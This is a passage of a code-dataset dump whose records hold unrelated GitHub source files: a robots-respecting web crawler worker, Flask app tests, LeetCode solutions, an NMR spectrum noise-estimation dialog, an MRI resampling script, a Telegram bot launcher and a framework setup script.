scheme, domain_name, str(e))\n scl.incr('crawler.domain.robots-corrupted')\n else:\n scl.incr('crawler.domain.robots_parsed')\n try:\n if robots:\n rrate = robots.request_rate(\"*\")\n if rrate:\n sleep_seconds = max(rrate.seconds or settings.DOWNLOAD_DELAY, settings.DOWNLOAD_DELAY)\n scl.incr('crawler.domain.robots_have_custom_delay')\n except Exception as e:\n pass\n\n if not robots or not robots.default_entry:\n scl.incr('crawler.domain.robots-invalid')\n robots = None\n\n # ensure it's not govCMS or apply extra limits if it is\n try:\n index_page_resp = requests.head('{}://{}'.format(scheme, domain_name))\n except Exception as e:\n print(\"[{}://{}] Error fetching index page, exiting\".format(\n scheme,\n domain_name\n ))\n scl.incr('crawler.domain.broken')\n put_message_to_es(domain_name, msg=\"broken\")\n put_to_redis(\"FINISHED\", domain_name)\n return False\n\n is_govcms_website = 'govcms' in (index_page_resp.headers.get('X-Generator') or '').lower()\n print(\"[{}://{}] Website is {}a govCMS\".format(\n scheme,\n domain_name,\n \"\" if is_govcms_website else \"NOT \"\n ))\n if is_govcms_website:\n scl.incr('crawler.domain.govcms')\n else:\n scl.incr('crawler.domain.non-govcms')\n if is_govcms_website and is_redis_crawl_locked('govcms'):\n scl.incr('crawler.domain.govcms-ratelimited')\n scl.incr('crawler.domain.ratelimited')\n print(\"[{}://{}] Overall this website is not locked, but it's govCMS, so it's locked\".format(\n scheme,\n domain_name\n ))\n return False\n\n put_message_to_es(domain_name, msg=\"started\")\n\n already_crawled, next_links = get_already_crawled(domain_name)\n if already_crawled or next_links:\n print(\"[{}://{}] Already {} links, {} to crawl\".format(\n scheme, domain_name,\n len(already_crawled),\n len(next_links)\n ))\n scl.incr('crawler.domain.kickstart-links-alreadycrawled', len(already_crawled))\n scl.incr('crawler.domain.kickstart-links-startwith', len(next_links))\n if not next_links:\n next_links = [\"{}://{}/\".format(scheme, domain_name)]\n for ac in already_crawled:\n blacklist.put(ac)\n\n this_worker_crawled_count = 0\n while True:\n new_links = [] # where to store results\n chunks_to_crawl = chunks(\n [\n normalize_href(link)\n for link\n in next_links\n if robots_allow(domain_name, robots, link)\n ],\n 50 # 50 per iteration, random value in fact, just to have the ability to exit any time\n )\n for chunk in chunks_to_crawl:\n # we update it single time on each chunk (50 domains) start, because chunks\n # are rarely slower than 3-10 minutes and we lower redis load by that\n # (and the code is simpler, we don't call redis from the insides of the thread)\n redis_client.set(\n \"crawled_started_{}\".format('govcms' if is_govcms_website else domain_name),\n utcnow().isoformat()\n )\n memused = get_memory_usage()\n if memused > 1500:\n print(\"[{}] Too much memory consumed ({}MB), exiting\".format(\n domain_name,\n memused,\n ))\n this_worker_crawled_count = settings.MAX_RESULTS_PER_DOMAIN\n scl.incr('generic.script.memory-limited')\n else:\n scl.incr('crawler.links.trying', len(chunk))\n with concurrent.futures.ThreadPoolExecutor(max_workers=settings.WORKERS) as executor:\n # Start the load operations and mark each future with its URL\n sublinks = {\n executor.submit(\n do_work,\n domain_name,\n scheme,\n url,\n sleep_seconds=robots.crawl_delay(url) if robots else sleep_seconds or sleep_seconds\n ): url\n for url in chunk\n }\n for future in concurrent.futures.as_completed(sublinks):\n url = sublinks[future]\n try:\n data = future.result()\n except Exception as exc:\n logger.exception(exc)\n print('[{}] {} generated an exception: {}'.format(domain_name, url, exc))\n else:\n this_worker_crawled_count += 1\n new_links += data\n if this_worker_crawled_count >= settings.MAX_RESULTS_PER_DOMAIN:\n print(\"[{}] Max crawls reached, exiting\".format(domain_name))\n scl.incr('generic.script.maxcrawls-limited')\n break\n\n next_links = []\n new_links = set(new_links)\n for link in new_links:\n if not blacklist.is_blacklisted(link) and link not in chunk:\n blacklist.put(link)\n domainised_link = domainize_link(domain_name, link, scheme=scheme)\n if domainised_link not in chunk:\n next_links.append(domainised_link)\n if not next_links:\n scl.incr('crawler.domain.finished-completely')\n print(\"[{}] Nothing more to crawl\".format(domain_name))\n put_message_to_es(domain_name, msg=\"finished\")\n put_to_redis(\"FINISHED\", domain_name)\n break\n next_links = next_links[:settings.MAX_RESULTS_PER_DOMAIN]\n scl.incr('crawler.domain.finished-iteration')\n return True\n\n\n@statsd_timer('crawler.proc.is_redis_crawl_locked')\ndef is_redis_crawl_locked(domain_name):\n def _check_domain(domain_name):\n global redis_client\n recent_crawled_at = redis_client.get(\"crawled_started_{}\".format(domain_name))\n if not recent_crawled_at:\n return False\n # it's been crawled some time ago, check how long\n parsed_date = dateutil.parser.parse(recent_crawled_at)\n duetime = utcnow() - datetime.timedelta(minutes=settings.LOCK_TIMEOUT_MINUTES)\n if parsed_date:\n if parsed_date > duetime:\n print(\"[{}] Dropping the message, locked till {}\".format(domain_name, parsed_date))\n return True\n else:\n print(\"[{}] Unparseable datetime\".format(domain_name, recent_crawled_at))\n return False\n\n if domain_name.startswith('www.'):\n nowww = domain_name[len('www.'):]\n www = domain_name\n else:\n nowww = domain_name\n www = 'www.' + domain_name\n\n # at least one variant locked - ignore it\n return _check_domain(nowww) or _check_domain(www)\n\n\n@statsd_timer('crawler.proc.fetch_domain_from_sqs')\ndef fetch_domain_from_sqs():\n sqs_resource = boto3.resource('sqs', region_name=settings.AWS_REGION)\n requests_queue = sqs_resource.get_queue_by_name(\n QueueName=settings.QUEUE_REQUESTS.split(':')[-1],\n QueueOwnerAWSAccountId=settings.QUEUE_REQUESTS.split(':')[-2]\n )\n msgs = requests_queue.receive_messages(\n MaxNumberOfMessages=1, WaitTimeSeconds=10\n )\n if msgs:\n msg = msgs[0]\n domain_name = msg.body\n msg.delete()\n return [domain_name]\n else:\n return []\n\n\ndef main():\n # MODE = None\n scl.incr('generic.script.started')\n if len(sys.argv) == 2:\n # MODE = 'domain'\n logger.info(\"Fetching domain by name...\")\n domain_name = sys.argv[1]\n do_main_futures(domain_name)\n else:\n print(\"Starting the crawler for SQS\")\n # MODE = 'sqs'\n should_exit = False\n while not should_exit:\n # standard working cycle\n time.sleep(random.randint(1, 10))\n for domain_name in fetch_domain_from_sqs():\n crawled_something = do_main_futures(domain_name)\n if crawled_something:\n should_exit = True\n print(\"Finishing the crawler\")\n scl.incr('generic.script.finished')\n","repo_name":"AusDTO/disco_crawl","sub_path":"crawler-node/src/crawler/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":30441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"38889801101","text":"import pytest\nfrom page_analyzer import app\nfrom page_analyzer.psql_db import execute_sql_script\n\n\n@pytest.fixture\ndef client():\n app.config['TESTING'] = True\n with app.test_client() as client:\n with app.app_context():\n execute_sql_script()\n yield client\n with app.app_context():\n execute_sql_script()\n\n\ndef test_home_page(client):\n response = client.get('/')\n assert response.status_code == 200\n assert 'Анализатор страниц' in response.data.decode('utf-8')\n assert 'Сайты' in response.data.decode('utf-8')\n\n\n@pytest.mark.parametrize(\"url, expected_message\", [\n ('https://ru.hexlet.io/', 'Страница успешно добавлена'),\n ('wrong://url', None)\n])\ndef test_url_submission(client, url, expected_message):\n response = client.post('/urls', data={'url': url})\n\n if expected_message:\n assert response.status_code == 302\n assert '/urls/1' in response.headers['Location']\n\n with client.session_transaction() as session:\n flash_messages = session['_flashes']\n assert flash_messages\n assert next(\n (i for i in flash_messages if expected_message in i[1]), None)\n else:\n assert response.status_code == 422\n\n\n@pytest.mark.parametrize(\"url, expected_message\", [\n ('https://ru.hexlet.io/', 'Страница успешно проверена'),\n ('https://wrongurlwrong.com', 'Произошла ошибка при проверке')\n])\ndef test_check_url(client, url, expected_message):\n client.post('/urls', data={'url': url})\n response = client.post('/urls/1/checks')\n assert response.status_code == 302\n with client.session_transaction() as session:\n flash_messages = session['_flashes']\n assert flash_messages\n assert next(\n (i for i in flash_messages if expected_message in i[1]), None)\n","repo_name":"jespy666/python-project-83","sub_path":"tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74011977319","text":"# _*_ coding: utf-8 _*_\n\n'''\nGiven the root of a tree, you are asked to find the most frequent subtree sum.\nThe subtree sum of a node is defined as the sum of all the node values formed \\\nby the subtree rooted at that node (including the node itself).\nSo what is the most frequent subtree sum value? If there is a tie,\nreturn all the values with the highest frequency in any order.\nExamples 1\nInput:\n\n 5\n / \\\n2 -3\nreturn [2, -3, 4], since all the values happen only once, return all of them in any order.\nExamples 2\nInput:\n\n 5\n / \\\n2 -5\nreturn [2], since 2 happens twice, however -5 only occur once.\nNote: You may assume the sum of values in any subtree is in the range of 32-bit signed integer.\n'''\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution(object):\n def findFrequentTreeSum(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if not root:\n return []\n self.result = {}\n\n def count(root):\n if not root:\n return 0\n left = count(root.left)\n right = count(root.right)\n sum = left + right + root.val\n if sum not in self.result:\n self.result[sum] = 0\n self.result[sum] += 1\n return sum\n count(root)\n answer = []\n mostf = max(self.result.values())\n for r in self.result:\n if self.result[r] == mostf:\n answer.append(r)\n return answer\n","repo_name":"buhuipao/LeetCode","sub_path":"2017/tree/Most_Frequent_Subtree_Sum.py","file_name":"Most_Frequent_Subtree_Sum.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30531726229","text":"from pathlib import Path\n\nfrom command_create_project import CommandCreateProject, ProjectParameters\nfrom directory import Directory\nfrom project import Project\nfrom system_test import SystemTest\nfrom system_test_project import TestProjectTools\n\n\nclass TestCommandCreateProject(TestProjectTools):\n\n def test_execution(self):\n self.assert_directory_does_not_exist(self.path)\n self.command.execute()\n self.assert_has_a_project_directory_structure()\n for file_name in self.expected_files:\n self.assert_project_directory_contains(file_name)\n\n def setUp(self):\n self.author = \"arbitrary_author\"\n self.path = Path(SystemTest.get_testing_directory())/\"arbitrary_project\"\n parameters = ProjectParameters(self.path, self.author)\n self.project = Project(parameters)\n self.command = CommandCreateProject(parameters)\n self.expected_files = [\n \"CMakeLists.txt\", \"src/CMakeLists.txt\", \"LICENSE.TXT\", \"README.md\", \".gitignore\", \n \".templates/license_header.template\"\n ]\n\n def tearDown(self):\n Directory.remove(self.path)\n","repo_name":"guillaumeducloscianci/cpp_tools","sub_path":"src/system_test_command_create_project.py","file_name":"system_test_command_create_project.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"73840644839","text":"import os\nimport sparky\nimport shutil\nimport numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport Tkinter\nimport sputil\nimport tkutil\nimport random\nimport time\n\n\ndef show_noise(session):\n sputil.the_dialog(NoiseDialog, session).show_window(1)\n\n\nclass NoiseDialog(tkutil.Dialog, tkutil.Stoppable):\n def __init__(self, session):\n self.session = session\n self.spectrum_list = self.session.project.spectrum_list()\n self.spectra_names = [s.name for s in self.spectrum_list]\n self.noise_path = 'Lists_noise/'\n\n tkutil.Dialog.__init__(self, session.tk, 'Noise specification')\n\n f = Tkinter.Frame(self.top)\n f.pack(side='top', anchor='w')\n\n # ----------------------------------------------------------------------------\n # BEGIN NOISE HANDLING DIALOG\n # ----------------------------------------------------------------------------\n\n noise_handling_dialog = Tkinter.Frame(self.top)\n noise_handling_dialog.pack(side='top', anchor='w')\n\n # num_peaks = tkutil.entry_field(self.top, 'Number of peaks used for noise determination:', '20000', 6)\n self.num_peaks = tkutil.entry_row(noise_handling_dialog,\n 'Number of peaks used for noise determination:',\n ('', '10000', 6))\n self.num_peaks.frame.pack(side='top', anchor='w')\n\n self.hz_range_widget = [None, None]\n self.protect = tkutil.entry_row(noise_handling_dialog,\n 'Ranges [ppm] around peaks, where no peaks for noise determination will be placed:',\n ('w1:', '0.5', 3), (' w2:', '0.1', 3))\n # (self.protect1, self.protect2) = protect.variables\n self.protect.frame.pack(side='top', anchor='w')\n\n self.method = Tkinter.IntVar()\n self.method.set(3)\n method_frame = Tkinter.Frame(noise_handling_dialog)\n Tkinter.Label(method_frame, text='Select method for noise calculation:').pack(side='left')\n Tkinter.Radiobutton(method_frame, text='Naive', variable=self.method, value=1).pack(side='left')\n Tkinter.Radiobutton(method_frame, text='Iterative', variable=self.method, value=2).pack(side='left')\n Tkinter.Radiobutton(method_frame, text='Median abs.dev.', variable=self.method, value=3).pack(side='left')\n method_frame.pack(side='top', anchor='w')\n\n hod = Tkinter.Frame(noise_handling_dialog)\n hod.pack(side='top', anchor='w')\n\n ho = tkutil.scrolling_text(hod, height=9, width=100)\n ho.frame.pack(side='top', anchor='nw')\n self.handling_output = ho.text\n\n #\n spectra_assign_dialog = Tkinter.Frame(self.top)\n spectra_assign_dialog.pack(side='top', anchor='w')\n\n spectra_assign_widget = Tkinter.Frame(spectra_assign_dialog)\n spectra_assign_widget.pack(side='top', anchor='w')\n\n pobr = tkutil.button_row(noise_handling_dialog,\n ('Determine noise', self.noise),\n ('Show peaks', self.show_peaks),\n ('Quit', self.clear_and_close))\n pobr.frame.pack()\n\n # ----------------------------------------------------------------------------\n # END NOISE HANDLING DIALOG\n # ----------------------------------------------------------------------------\n pass # for folding purposes only\n\n def clear_and_close(self):\n self.clear_handling_output_cb()\n self.close_cb()\n\n def clear_handling_output_cb(self):\n self.handling_output.delete(1.0, 'end')\n\n def show_peaks(self):\n \"\"\"\n Puts the noise peaks to spectrum.\n Warning: creates real peaks. Next noise generating will try to avoid them.\n \"\"\"\n for peak in self.noise_peaklist:\n self.session.selected_spectrum().place_peak(peak)\n self.handling_output.insert('end', '{} peaks were shown.\\n'.format(len(self.noise_peaklist)))\n self.handling_output.insert('end', 'Warning: The peaks are real now, do NOT rerun the noise determination!\\n')\n\n def _random_peaks(self, N):\n \"\"\"\n Return `N` random peaks uniformly scattered across the `self.spectrum` bounds.\n\n Returns vertical 2D numpy array - N x 2.\n \"\"\"\n spectrum = self.session.selected_spectrum()\n return np.random.uniform(low=spectrum.region[0],\n high=spectrum.region[1],\n size=(N, 2)\n )\n\n def _generate_noise_peaks(self, N):\n \"\"\"\n Generate `N = self.num_peaks` new peaks that are far (as defined by protect)\n from all predefined peaks (stored in spectrum.peak_list).\n\n Returns vertical 2D python list - N x 2.\n \"\"\"\n spectrum = self.session.selected_spectrum()\n peak_list = np.array([p.frequency for p in spectrum.peak_list()])\n protect = tuple(float(x.get()) for x in self.protect.variables)\n\n result = self._random_peaks(N)\n\n collisions = 1\n i = 0 # safety guard against infinite loops\n while collisions > 0 and i < 100 and len(peak_list) > 0:\n # creates 2D matrix N x len(peak_list) with distances in w1 (resp. w2)\n dist_matrix_w1 = np.abs(result[:, [0]] - peak_list[:, 0])\n dist_matrix_w2 = np.abs(result[:, [1]] - peak_list[:, 1])\n # collision occurs if both distances at given pair are less then protect\n collision_matrix = (dist_matrix_w1 < protect[0]) & (dist_matrix_w2 < protect[1])\n collision_array = np.any(collision_matrix, axis=1) # find any True in each row\n assert collision_array.shape[0] == N\n collisions = np.sum(collision_array)\n\n # uncomment to see the necessary number of rounds\n # self.handling_output.insert('end', \"{}th round; {:d} collisions found.\\n\".format(i, collisions))\n\n # generate new peaks at the collision spots\n result[collision_array] = self._random_peaks(collisions)\n\n i += 1\n\n return result.tolist()\n\n def _write_peaks(self):\n noise_dir = os.path.join(sparky.user_sparky_directory, self.noise_path)\n\n if not os.path.exists(noise_dir):\n os.makedirs(noise_dir)\n\n coords_file = 'noise_coords.list'\n heights_file = 'noise_heights_full.csv'\n np.savetxt(fname=os.path.join(noise_dir, coords_file),\n X=np.array(self.noise_peaklist),\n fmt='?-? %10.3f %10.3f')\n\n np.savetxt(fname=os.path.join(noise_dir, heights_file),\n X=self.noise_heights,\n fmt='%20.3f',\n header=''.join('{:>20s}'.format(n) for n in self.spectra_names))\n\n self.handling_output.insert('end', 'All peak coordinates written in file {}.\\n'.format(os.path.join(self.noise_path, coords_file)))\n self.handling_output.insert('end', 'All peak heights written in file {}.\\n'.format(os.path.join(self.noise_path, heights_file)))\n\n # uncomment for full path writing\n # self.handling_output.insert('end', 'All peak coordinates written in file {}\\n'.format(os.path.join(noise_dir, coords_file)))\n # self.handling_output.insert('end', 'All peak heights written in file {}\\n'.format(os.path.join(noise_dir, heights_file)))\n pass\n\n def _write_result(self, filename, data, header=None):\n \"\"\"\n Write resulting noise - one number for each spectrum.\n \"\"\"\n full_path = os.path.join(sparky.user_sparky_directory, self.noise_path, filename)\n general_output = 'noise.dat'\n general_output_full = os.path.join(sparky.user_sparky_directory, self.noise_path, general_output)\n with open(full_path, 'w') as f:\n if header:\n if header[-1] != '\\n':\n header += '\\n'\n f.write(header)\n\n for i in range(len(data)):\n f.write('{:<20} {:20.3f}\\n'.format(self.spectra_names[i], data[i]))\n\n shutil.copyfile(src=full_path, dst=general_output_full)\n\n self.handling_output.insert('end', 'Noise levels written in {}, '.format(os.path.join(self.noise_path, filename)))\n self.handling_output.insert('end', 'copied to {}\\n'.format(os.path.join(self.noise_path, general_output)))\n # self.handling_output.insert('end', 'Noise levels written in {}.\\n'.format(full_path))\n # self.handling_output.insert('end', 'copied to {}\\n'.format(general_output_full))\n pass\n\n def _naive_std(self):\n \"\"\"\n Calculate standard deviation for peaks from each column (spectrum).\n\n Return numpy array `len(spectrum_list)` x 1\n \"\"\"\n # axis=0 calculates by column\n return self.noise_heights.std(axis=0)\n\n def _iterative_std(self, max_sigma=6, plot=False, verbose=0):\n \"\"\"\n Iteratively remove outliers beyond `max_sigma` * std.\n\n If plot=True, create two boxplots - noise heights before and after filtering.\n If verbose > 0, print out the intermediate steps.\n\n Return numpy array `len(spectrum_list)` x 1\n \"\"\"\n if verbose >= 1:\n self.handling_output.insert('end', 'Iterative sigma calculation starts.\\n')\n\n noise_filtered = self.noise_heights.copy()\n\n if plot is True:\n imgpath = os.path.join(sparky.user_sparky_directory, self.noise_path)\n plt.figure(1)\n plt.boxplot(noise_filtered[:,:10])\n plt.savefig(os.path.join(imgpath, 'orig.png'))\n plt.clf()\n\n num_rounds = 0\n orig_stddev = np.std(noise_filtered)\n while True:\n stddev = np.std(noise_filtered, axis=0)\n mask = (noise_filtered > max_sigma * stddev) | (noise_filtered < - max_sigma * stddev)\n noise_filtered[mask] = np.nan\n noise_filtered = np.ma.masked_invalid(noise_filtered)\n num_rounds += 1\n\n if verbose > 1:\n self.handling_output.insert('end', ' {} values filtered out'.format(mask.sum()))\n self.handling_output.insert('end', ', {} left.'.format(noise_filtered.count()))\n self.handling_output.insert('end', ' Current overall STD = {}\\n'.format(noise_filtered.std()))\n if not np.any(mask): # no values were filtered\n break\n\n noise_result = self.noise_heights.copy()\n noise_result[noise_filtered.mask] = np.nan\n\n final_stddev = np.std(noise_filtered)\n final_stddev_percent = 100.0 * final_stddev / orig_stddev\n num_filtered = noise_filtered.mask.sum()\n percent_filtered = 100.0 * num_filtered / self.noise_heights.size\n if verbose >= 1:\n self.handling_output.insert('end',\n ' After {} rounds, {} values ({:.3f} %) was filtered out\\n'.format(num_rounds, num_filtered, percent_filtered))\n self.handling_output.insert('end',\n ' Sigma dropped from {:.0f} to {:.0f} ({:.2f} %)\\n'.format(orig_stddev, final_stddev, final_stddev_percent))\n\n if plot is True:\n plt.figure(2)\n plt.boxplot(noise_result[:,:10])\n plt.savefig(os.path.join(imgpath, 'filtered.png'))\n plt.clf()\n\n return np.std(noise_filtered, axis=0)\n\n def _median_absolute_deviation(self):\n \"\"\"\n Calculate Median Average Deviation for noise in each spectra.\n https://en.wikipedia.org/wiki/Median_absolute_deviation\n\n Return numpy array `len(spectrum_list)` x 1\n \"\"\"\n noise_median = np.median(self.noise_heights, axis=0)\n deviations = np.abs(self.noise_heights - noise_median)\n return np.median(deviations, axis=0)\n\n def _plot_histograms(self, spectrum_no=0):\n \"\"\"\n Create a histogram overlaying noise peak heights and gauss distributions\n calculated using various methods\n \"\"\"\n naive = self._naive_std()\n iterative = self._iterative_std()\n mad = self._median_absolute_deviation()\n\n plt.figure(10)\n spect_no = 0\n mean = self.noise_heights[:,spect_no].mean()\n x_lim = 3*naive[spect_no]\n x_scale = np.linspace(-x_lim, x_lim, num=1000)\n gauss = lambda sigma: np.exp(-0.5* (x_scale-mean)**2 / sigma**2) / np.sqrt(2*np.pi * sigma**2)\n\n plt.hist(self.noise_heights[:,spect_no], bins=1000, normed=True, cumulative=False, alpha=0.5, color='gray')\n plt.plot(x_scale, gauss(naive[spect_no]), '--', c='red', lw=3, label='naive')\n plt.plot(x_scale, gauss(iterative[spect_no]), '--', c='green', lw=3, label='iterative')\n plt.plot(x_scale, gauss(mad[spect_no]), '--', c='blue', lw=3, label='median')\n plt.xlim([-x_lim, x_lim])\n plt.ylim([0, 3e-7])\n plt.legend()\n plt.savefig(os.path.join(sparky.user_sparky_directory, self.noise_path, 'hist.png'))\n plt.clf()\n\n def noise(self):\n # start_time = time.time()\n self.N = int(self.num_peaks.variables[0].get())\n self.noise_peaklist = self._generate_noise_peaks(self.N)\n noise_peaklist = self.noise_peaklist\n\n # read peak heights\n # matrix \"noise peak number\" (rows) x \"spectrum\" (columns)\n self.noise_heights = np.zeros(shape=(len(noise_peaklist), len(self.spectrum_list)))\n for i_s, s in enumerate(self.spectrum_list):\n for i_p, p in enumerate(noise_peaklist):\n self.noise_heights[i_p, i_s] = s.data_height(p)\n\n self.handling_output.insert('end', \"{:d} random peak positions created.\\n\".format(len(noise_peaklist)))\n # picking_time = time.time()\n # self.handling_output.insert('end', 'The Random Picking took {:.3f} seconds\\n'.format(picking_time - start_time))\n\n self._write_peaks()\n\n if self.method.get() == 1:\n naive = self._naive_std()\n self._write_result(filename='naive_std.out',\n data=naive,\n header='# naive sigma'\n )\n elif self.method.get() == 2:\n iterative = self._iterative_std()\n self._write_result(filename='iterative_std.out',\n data=iterative,\n header='# iterative sigma'\n )\n elif self.method.get() == 3:\n mad = self._median_absolute_deviation()\n self._write_result(filename='mad.out',\n data=mad,\n header='# median absolute deviation'\n )\n\n histogram_wanted = False\n if histogram_wanted is True:\n self._plot_histograms()\n\n # writing_time = time.time()\n # self.handling_output.insert('end', 'The Peak Writing took {:.3f} seconds\\n'.format(writing_time - picking_time))\n self.handling_output.insert('end', 'Done\\n\\n')\n","repo_name":"lousapetr/cest-nmr","sub_path":"common/Sparky/Python/noise_height4.py","file_name":"noise_height4.py","file_ext":"py","file_size_in_byte":15075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22969956000","text":"class Solution:\n def containsNearbyDuplicate(self, nums: List[int], k: int) -> bool:\n myDict={}\n for i,n in enumerate(nums):\n if n in myDict:\n if abs(myDict[n] - i) <= k:\n return True\n else:\n myDict[n] = i\n else:\n myDict[n] = i\n return False","repo_name":"GovindProMax/python_leetcode_sols","sub_path":"contains-duplicate-ii.py","file_name":"contains-duplicate-ii.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"19828132917","text":"class TicTacToe(object):\n\n def __init__(self, n):\n \"\"\"\n Initialize your data structure here.\n :type n: int\n \"\"\"\n self.rowCounter = [0]*n\n self.colCounter = [0]*n\n self.leftDiag = 0\n self.rightDiag = 0\n self.n = n\n\n def move(self, row, col, player):\n \"\"\"\n :type row: int\n :type col: int\n :type player: int\n :rtype: int\n \"\"\"\n move = 1 if player == 1 else -1\n self.rowCounter[row] += move\n self.colCounter[col] += move\n if row == col:\n self.leftDiag += move\n if row == self.n - col - 1: # If r = n-c-1\n self.rightDiag += move\n if self.rowCounter[row] == self.n or self.colCounter[col] == self.n or self.leftDiag == self.n or self.rightDiag == self.n:\n return 1\n elif self.rowCounter[row] == -self.n or self.colCounter[col] == -self.n or self.leftDiag == -self.n or self.rightDiag == -self.n:\n return 2\n else:\n return 0\n\n\n\n \n\n\n# Your TicTacToe object will be instantiated and called as such:\n# obj = TicTacToe(n)\n# param_1 = obj.move(row,col,player)","repo_name":"anantvir/Leetcode-Problems","sub_path":"Practice_3/Design_Tic_Tac_Toe.py","file_name":"Design_Tic_Tac_Toe.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18656436265","text":"# %%\nimport sys\nfrom pathlib import Path\n\nsys.path.append(str(Path.cwd().parent))\n\nimport numpy as np\n# %%\n## tqdm for loading bars\nfrom tqdm import tqdm\n\n# import torch\n## Torchvision\n# import torchvision\n# from torchvision import transforms\nimport SimpleITK as sitk\nfrom multiprocessing import Pool\n\nfrom src.utils.general import resample_volume, sitk_cropp_padd_img_to_size, crop_image_to_content\n\n# %%\n# from src.models.simclr import SimCLR as SimCLRD\n# from src.data.self_supervised_dm import ContrastiveDataSet as ContrastiveDataSetD, ContrastiveDataModule\n\n# %%\norig_path = Path('/mrhome/vladyslavz/git/central-sulcus-analysis/data/via11/nobackup/synth_generated')\ndown_path = Path('/mrhome/vladyslavz/git/central-sulcus-analysis/data/via11/nobackup/synth_generated1114x')\n\n# %%\nimgs = [x for x in orig_path.glob('*/image_t1_*.nii.gz')]\n\n# %%\nprint('Total images to process: ', len(imgs))\n\n# %%\ndef process_img(p):\n new_p = str(p).replace('synth_generated', 'synth_generated1114x')\n Path(new_p).parent.mkdir(parents=True, exist_ok=True)\n \n img = sitk.ReadImage(str(p))\n labmap = sitk.ReadImage(str(p).replace('image', 'labels'))\n \n res_img = resample_volume(img, [1.1, 1.1, 1.5], sitk.sitkLinear)\n res_labmap = resample_volume(labmap, [1.1, 1.1, 1.5], sitk.sitkNearestNeighbor)\n\n res_img_array = sitk.GetArrayFromImage(res_img)\n res_labmap_array = sitk.GetArrayFromImage(res_labmap)\n \n res_labmap_array = ((res_labmap_array == 3)|(res_labmap_array == 42)).astype(np.uint8)\n \n res_img_cropped, min_coords, max_coord = crop_image_to_content(res_img_array)\n res_labmap_croped, _, __ = crop_image_to_content(res_labmap_array, min_coords, max_coord)\n\n res_img = sitk_cropp_padd_img_to_size(sitk.GetImageFromArray(res_img_cropped), [256, 256, 124])\n res_labmap = sitk_cropp_padd_img_to_size(sitk.GetImageFromArray(res_labmap_croped), [256, 256, 124])\n\n sitk.WriteImage(res_img, new_p)\n sitk.WriteImage(res_labmap, str(new_p).replace('image', 'labels'))\n return 1\n\n# %% [markdown]\n# Use multiprocessing\n\n# %%\nwith Pool(10) as p:\n r = list(tqdm(p.imap(process_img, imgs[:]), total=len(imgs)))\n","repo_name":"Vivikar/central-sulcus-analysis","sub_path":"scripts/downsample2x.py","file_name":"downsample2x.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25277182523","text":"from aiogram import Bot, Dispatcher\r\nfrom aiogram.enums import ParseMode\r\nimport asyncio \r\nfrom config import TOKEN\r\nfrom handlers import router\r\n\r\n\r\nasync def on_startup(bot: Bot):\r\n print('Бот был успешно запущен!')\r\n await bot.delete_webhook(drop_pending_updates=True)\r\n\r\n\r\nasync def main():\r\n bot = Bot(token=TOKEN, parse_mode=ParseMode.HTML)\r\n dp = Dispatcher()\r\n dp.include_router(router)\r\n dp.startup.register(on_startup)\r\n await dp.start_polling(bot)\r\n\r\n\r\nif __name__ == '__main__':\r\n try:\r\n asyncio.run(main())\r\n except KeyboardInterrupt:\r\n print('Exit')","repo_name":"uraloff/Wikigraphia","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25332419082","text":"import requests\nfrom base64 import b64encode\nimport os\n\nCONFIG = './app/config/config.example.php'\nNEW_CONFIG = './app/config/config.php'\n\nresponse = requests.get(\"https://api.github.com/repos/Noah-Wilderom/framework59/releases/latest\")\ngithub_version_latest = response.json()[\"tag_name\"]\n\n\nlatest = False\nversion = open('version.txt', 'r')\nversion = version.read()\nif version == github_version_latest:\n app_version = github_version_latest\n latest = True\nelse:\n app_version = github_version_latest\n \nprint(\"\\033[97mWelcome to Framework59 Setup!\\n\" + f\"Version \\033[32m{app_version}\\033[0m\" if latest else f\"\\033[31mNew version {app_version} available at (https://github.com/Noah-Wilderom/framework59)\\033[0m\")\n\nif not latest:\n print(\"\\n\")\n exit_new_version = input(\"Would u like to continue anyways? (yes/NO) \")\n if exit_new_version == 'n' or exit_new_version == 'no' or exit_new_version == '':\n exit();\n\nkey = os.urandom(64)\nconfig_values = {\n 'APP_NAME': input('App name: '),\n 'URLROOT': input('URL Root [http://127.0.0.1:8000/]: ') or \"http://127.0.0.1:8000/\",\n 'APP_KEY': \"Framework59-\" + b64encode(key).decode('utf-8'),\n \n 'DB_HOST': input('Database Host [127.0.0.1]: ') or \"127.0.0.1\",\n 'DB_USER': input('Database User [root]: ') or \"root\",\n 'DB_PASS': input('Database Password: '),\n 'DB_NAME': input('Database Name: ')\n}\n\nconfig_read = open(CONFIG, \"r\")\nconfig_read = config_read.read()\nfor key, value in config_values.items():\n config_read = config_read.replace(\"{{\" + key + \"}}\", value)\n \nconfig_write = open(NEW_CONFIG, \"w\")\nconfig_write.write(config_read)\nconfig_write.close()\n\n# os.remove(CONFIG)\n\nprint('\\n\\033[32mSetup completed!\\033[0m')\n 